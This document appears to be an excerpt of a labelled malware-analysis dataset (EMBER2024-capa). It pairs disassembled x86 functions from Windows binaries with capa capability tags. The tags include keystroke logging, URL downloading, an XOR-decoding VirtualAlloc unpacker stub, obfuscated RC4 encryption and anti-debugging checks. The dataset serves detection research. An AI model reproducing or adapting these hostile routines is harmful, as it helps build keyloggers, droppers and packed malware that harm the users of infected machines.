joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a9d98
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a9ff8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4a9dfb
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.004a9860
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040cf74
cmp al, 1
jne 0x4a9dfb
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004a9b78
test al, al
je 0x4a9f87
cmp dword [ebp - 8], 0
jge 0x4a9e19
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.004a9860
mov eax, dword [ebp - 0x210]
call fcn.00404834
cmp ebx, eax
jge 0x4a9e63
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.004a9860
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x4ec5f4]
and eax, 0xff
bt dword [edx], eax
jae 0x4a9e63
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4a9e77
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004a9d74
cmp ebx, dword [ebp - 8]
je 0x4a9f79
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4a9ea3
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403968
and eax, 0x7f
movzx eax, word [eax*2 + 0x4ea244]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x4a9f66
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403968
and eax, 0x7f
movzx eax, word [eax*2 + 0x4ea244]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.0044aae0
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403968
and eax, 0x7f
movzx eax, word [eax*2 + 0x4ea244]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.0044aae0
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9f6d
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4a9fda
cmp dword [ebp - 8], 0
jge 0x4a9f92
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.004a9860
mov eax, dword [ebp - 0x218]
call fcn.00404834
cmp eax, dword [ebp - 8]
jg 0x4a9fcc
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.004a9860
mov eax, dword [ebp - 0x21c]
call fcn.00404834
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004a9d74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9fff
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.004045a0
ret
Function at 0x4bff4c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x413bb8]
call fcn.00404fbc
xor eax, eax
push ebp
push 0x4c0090
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4eaa28], 0
jne 0x4bff9f
mov ecx, dword [0x4ebfcc]
mov dl, 1
mov eax, dword [0x407d78]
call fcn.0040c764
call fcn.00403f38
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403014
mov eax, ebx
call fcn.00404e0c
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x4c00a0
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.0040645c
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404e1c
test eax, eax
jle 0x4c0037
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4c0030
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.004047fc
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.004047e4
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408c24
test eax, eax
jne 0x4c0030
mov ebx, 0x15
jmp 0x4c003c
mov ebx, 0x10
jmp 0x4c003c
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4eaa28]
call fcn.004bfea4
mov eax, dword [ebp - 8]
call fcn.004bfea4
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00406474
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c0097
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x10]
mov edx, dword [0x413bb8]
call fcn.0040508c
ret
Function at 0x4d3760
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x4d378e
mov eax, ebx
call fcn.004d4218
cmp dword [ebx + 0x3c], 0
je 0x4d3787
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x4d37ff
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x4d37f1
cmp dword [ebx + 8], 0
je 0x4d37b0
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x4d37c2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4d37f1
cmp dword [ebx + 8], 0
je 0x4d37a3
cmp eax, 3
je 0x4d37d5
dec eax
jne 0x4d37a3
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4d37a3
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x4d37a3
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x4d381d
cmp dword [ebx + 0x10], 0xcc
je 0x4d381d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004d3828
pop ebx
ret

Function at 0x4e603c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x108], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4e60fe
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.004047e4
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 4]
call fcn.00408c94
lea ecx, [ebp - 0x10c]
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0043dd4c
mov eax, dword [ebp - 0x10c]
mov edx, 0x4e6114
call fcn.00404978
je 0x4e60ce
lea eax, [ebp - 4]
mov edx, 0x4e6114
call fcn.0040483c
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004045d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6105
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 4]
call fcn.0040457c
ret
Function at 0x4e6168
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor edx, edx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4e6236
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push 0x10
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x10d]
mov ecx, 0x105
call fcn.004047e4
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 8]
call fcn.00408c94
lea ecx, [ebp - 0x118]
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0043dd4c
mov eax, dword [ebp - 0x118]
mov edx, 0x4e624c
call fcn.00404978
je 0x4e6206
lea eax, [ebp - 8]
mov edx, 0x4e624c
call fcn.0040483c
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004045d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e623d
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 8]
call fcn.0040457c
ret

Function at 0x4e62e4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404a1c
mov eax, dword [ebp - 8]
call fcn.00404a1c
xor eax, eax
push ebp
push 0x4e6372
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e634b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404a2c
push eax
mov eax, dword [ebp - 4]
call fcn.00404a2c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e6357
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6379
lea eax, [ebp - 8]
mov edx, 2
call fcn.004045a0
ret
Function at 0x4e66a4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4e67d5
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, dword [0x4ec054]
call fcn.004bff14
lea eax, [ebp - 4]
mov edx, dword [ebp - 0xc]
mov ecx, 0x4e67e4
call fcn.004064a0
lea eax, [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ecx, 0x4e67f4
call fcn.004064a0
push 0
lea eax, [ebp - 0x10]
mov edx, ebx
mov ecx, 0x105
call fcn.00404de4
mov eax, dword [ebp - 0x10]
call fcn.00404e0c
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
push 2
lea eax, [ebx + 0x62c]
push eax
push 0x105
lea eax, [ebx + 0x105]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
push 0x105
lea eax, [ebx + 0x414]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
push 0x105
lea eax, [ebx + 0x20a]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x28]
push 0x105
lea eax, [ebx + 0x30f]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x20]
lea eax, [ebx + 0x620]
push eax
push 0x105
lea eax, [ebx + 0x519]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x40]
lea eax, [ebx + 0x624]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
lea eax, [ebx + 0x628]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e67dc
lea eax, [ebp - 0x10]
call fcn.00404c98
lea eax, [ebp - 0xc]
call fcn.0040645c
lea eax, [ebp - 8]
call fcn.0040645c
lea eax, [ebp - 4]
call fcn.0040645c
ret
Function at 0x4e7658
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e77de
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e77bc
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, edx
lea ecx, [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x220]
mov edx, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
push ebp
push 0x4e76e4
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov dl, 1
mov eax, dword [0x473a64]
call fcn.00474914
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov edx, 0x4e77f4
call fcn.00404880
lea ecx, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
call fcn.004756f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e76f6
mov eax, dword [0x4ec550]
mov eax, dword [eax]
mov eax, dword [eax + 0x324]
call fcn.0048503c
mov edx, dword [ebp - 0xc]
mov eax, 0x4e782c
call fcn.00404b70
test eax, eax
jle 0x4e77a6
mov edx, dword [ebp - 0xc]
mov eax, 0x4e782c
call fcn.00404b70
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404834
mov ecx, eax
sub ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00404a8c
mov edx, dword [ebp - 0xc]
mov eax, 0x4e7840
call fcn.00404b70
mov ebx, eax
mov edx, dword [ebp - 0xc]
mov eax, 0x4e7850
call fcn.00404b70
mov esi, eax
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
sub ecx, ebx
sub ecx, 7
lea edx, [ebx + 6]
mov eax, dword [ebp - 0xc]
call fcn.00404a8c
push dword [ebp - 0x10]
push 0x4e785c
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov eax, dword [eax + 0x220]
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e77c3
mov eax, dword [ebp - 8]
call fcn.0040376c
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.004047b5
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.004047b5
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.004047b5
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.004047b5
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.004047b5
mov dword [0x41203c], eax
call fcn.004047b5
test eax, eax
jge 0x402550
push 8
call fcn.004047b5
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.004047b5
pop ecx
push 1
call fcn.004047b5
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.004047b5
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.004047b5
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.004047b5
jmp 0x402495

Function at 0x4047b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4047c4
pop dword [ebp - 0x1c]
mov eax, 0x4047c4
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x36a98
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x8ef817de
add ecx, 0x710825e6
mov ebx, eax
mov esi, 0x1022c1f7
add esi, 0xf01e79cd
add esi, dword [ebp - 0x1c]
mov edi, 0x1a1a268
sub dword [ebp - 0xc], 0xe87df94c
mov edx, dword [esi]
add dword [ebp - 4], 0x5df616dc
xor edx, edi
sub dword [ebp - 0x10], 0x2644db82
mov dword [ebx], edx
sub dword [ebp - 0xc], ecx
add ebx, 0x44b47619
sub ebx, 0x44b47615
add esi, 4
loop 0x404813
add eax, 0xe9e3
xor ebx, ebx
add ebx, eax
add eax, 0x67bb2eaa
sub eax, 0x67bb2ea5
mov ecx, 0xf0e32b2c
sub ecx, 0xf0a32b2c
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10005ef8
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push 0x1001d3a8
push dword [esp + 0x14]
call fcn.100052b9
push 2
mov ebx, eax
push 0
push ebx
call fcn.1000bc78
push ebx
call fcn.1000c1ea
mov edi, eax
push edi
call fcn.1000e080
push 0
push 0
push ebx
mov esi, eax
call fcn.1000bc78
push ebx
push edi
push 1
push esi
call fcn.1000b88d
mov eax, dword [esp + 0x4c]
add esp, 0x38
mov dword [eax + 4], edi
pop edi
mov dword [eax], esi
mov dword [eax + 8], ebx
xor eax, eax
pop esi
pop ebx
ret

Function at 0x10006161
Capabilities:
Print debug messages

Disassembly:
push esi
lea eax, [esp + 0xc]
mov esi, 0x10025b28
push eax
push 0
push dword [esp + 0x10]
push 0xffffffffffffffff
push esi
call fcn.100049c1
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop esi
ret

Function at 0x10011915
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10011794
Function at 0x10041f7b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push eax
mov eax, dword [esp + 4]
lea eax, [eax + 0x51]
xchg dword [esp + 4], eax
mov dword [esp + 4], eax
mov eax, dword [esp]
lea esp, [esp + 4]
add dword [esp], 0xfffec943
xchg dword [esp], ebx
push eax
mov eax, dword [esp + 4]
lea eax, [eax + 0x53]
xchg dword [esp + 4], eax
mov dword [esp + 4], eax
mov eax, dword [esp]
lea esp, [esp + 4]
xchg dword [esp + 4], ebx
push eax
mov eax, dword [esp + 4]
lea eax, [eax + 0x69]
xchg dword [esp + 4], eax
mov dword [esp + 4], eax
mov eax, dword [esp]
lea esp, [esp + 4]
xchg dword [esp], ebx
push ecx
mov ecx, dword [esp + 0xa]
pop ecx
popfd
push ebp
mov ebp, esp
leave
jmp fcn.10046898
Function at 0x10046898
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
test eax, eax
jle 0x100468f3
push edi
mov edi, dword [ebp + 0x10]
sub dword [ebp + 0xc], edi
mov dword [ebp + 8], eax
mov edi, edi
inc bl
lea edi, [edi + 1]
movzx ebx, bl
mov dl, byte [esi + ebx + 8]
add cl, dl
movzx ecx, cl
mov al, byte [esi + ecx + 8]
mov byte [esi + ebx + 8], al
add al, dl
movzx eax, al
mov byte [esi + ecx + 8], dl
movzx edx, byte [eax + esi + 8]
mov eax, dword [ebp + 0xc]
xor dl, byte [eax + edi - 1]
sub dword [ebp + 8], 1
mov byte [edi - 1], dl
jne 0x100468b8
mov eax, dword [ebp + 0x14]
pop edi
mov dword [esi], ebx
mov dword [esi + 4], ecx
pop esi
pop ebx
pop ebp
ret

Function at 0x1004b457
Capabilities:
Encode data using xor

Disassembly:
call 0x100402f8
into
add byte [eax], al
jne 0x10033507
das
cmp byte [esi + 0x4c], al
call 0xf58d893a
xor dword [esi - 0x18], esi
pop ecx
lahf
add byte [eax], al
loope 0x100334e5
stosb byte es:[edi], al
dec ebx
sar byte [eax - 0x18], 1
pop edx
adc al, 2
add byte [edi + 0x59], ah
pop ecx
enter 0x6eb, 0x71
test byte [ecx - 0x7a], dh
xor byte [edi + edx*8 - 0x12], dl
das
push cs
cld
stosd dword es:[edi], eax
add eax, 0x336fe8
add bl, al
pop esp
out 0x57, al
stosd dword es:[edi], eax
adc eax, dword [ebx - 0x4a88606]
jg 0x1003355b
cmp eax, 0x25648e8
add bh, dh
outsb dx, byte [esi]
and ecx, dword [eax - 0x17abebe4]
xchg esp, eax
mov eax, dword [eax]
add byte [eax], bh
call fcn.1004da68
fsub dword [ecx - 0x2ebad6ea]
and dword [eax + 0x74], esp
sti
add byte [0x5e94e832], ah
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
invalid
pop eax
pop ds
add byte [eax], al
xchg esi, ecx
mov ecx, dword [ebp + 0xc]
push esi
xchg esi, ecx
pop ecx
push 0x40
push eax
mov eax, edi
pop eax
lea esp, [esp - 4]
mov dword [esp], eax
mov eax, 0x1000
xchg dword [esp], eax
xchg ebx, edi
mov edi, dword [esi]
push ebx
xchg ebx, edi
pop edi
xchg ebx, eax
lea esp, [esp - 4]
mov dword [esp], eax
mov eax, ebx
mov ebx, dword [esp]
push 0
push edi
mov edi, dword [esp + 4]
lea edi, [edi + 0x41]
xchg dword [esp + 4], edi
mov dword [esp + 4], edi
mov edi, dword [esp]
lea esp, [esp + 4]
pushfd
push ecx
mov ecx, edi
pop ecx
call fcn.100335b6
and al, 4
lea eax, [eax + 0x23]
xchg dword [esp + 4], eax
mov dword [esp + 4], eax
mov eax, dword [esp]
lea esp, [esp + 4]
lea eax, [eax + 0x1005dd48]
jmp 0x100334e3
call fcn.1002a0d0
jbe 0x10037472
add dh, byte [eax - 0x11d21f9]
pop ds
add byte [eax], al
pushfd
push esi
mov esi, dword [esp + 4]
lea esi, [esi + 7]
xchg dword [esp + 4], esi
mov dword [esp + 4], esi
mov esi, dword [esp]
lea esp, [esp + 4]
call fcn.100374d1
mov esi, esi
add dword [esp], 0xfffec05b
xchg dword [esp], ebx
push ebp
mov ebp, esp
leave
xchg dword [esp + 4], ebx
pushfd
add ebp, 0x35
popfd
lea ebp, [ebp - 0x35]
xchg dword [esp], ebx
push edx
mov edx, dword [esp + 4]
lea edx, [edx + 0xb]
xchg dword [esp + 4], edx
mov dword [esp + 4], edx
mov edx, dword [esp]
lea esp, [esp + 4]
popfd
mov edi, edi
jmp 0x100374a4
Function at 0x10054126
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
lea edx, [edx]
add dword [esp], 0xa98
xchg dword [esp], ebx
push esi
mov esi, dword [esp + 4]
lea esi, [esi + 7]
xchg dword [esp + 4], esi
mov dword [esp + 4], esi
mov esi, dword [esp]
lea esp, [esp + 4]
xchg dword [esp + 4], ebx
push ebp
mov ebp, esp
leave
xchg dword [esp], ebx
push ecx
mov ecx, dword [esp + 4]
lea ecx, [ecx + 0x27]
xchg dword [esp + 4], ecx
mov dword [esp + 4], ecx
mov ecx, dword [esp]
lea esp, [esp + 4]
popfd
lea esi, [esi]
jmp fcn.10046898

Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4043dc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
test dword [eax + 0x38fffffc], esp
mov byte [ebp - 0x35f], 0x11
mov eax, dword [0x11fffffc]
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
jmp dword [edi]
mov byte [ebp - 0x35c], 0x30
push dword [eax]

Function at 0x407890
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c55c
mov eax, esi
mov edx, 8
test al, 1
je 0x4078ac
shr eax, 1
xor eax, 0xedb88320
jmp 0x4078ae
shr eax, 1
dec edx
jne 0x40789f
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407898
pop esi
ret

Function at 0x4078c4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c558], 0
jne 0x4078e7
call fcn.00407890
push 1
push 0x40c558
call 0x4043fc
mov eax, edi
test esi, esi
je 0x407912
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4078ed
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x462bbf
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.00512ebc
pop ecx
test eax, eax
je 0x462bdc
add dword [0x54febc], esi
pop esi
pop ebp
ret
push 0
mov esi, 0x7d5
xor edx, edx
push esi
xor ecx, ecx
call fcn.004c885f
push esi
call fcn.0051233a
int3

Function at 0x47fe16
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
mov ecx, 0x811c9dc5
cmp dword [ebp + 8], esi
jbe 0x47fe3b
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc esi
cmp esi, dword [ebp + 8]
jb 0x47fe29
mov eax, ecx
pop esi
leave
ret 4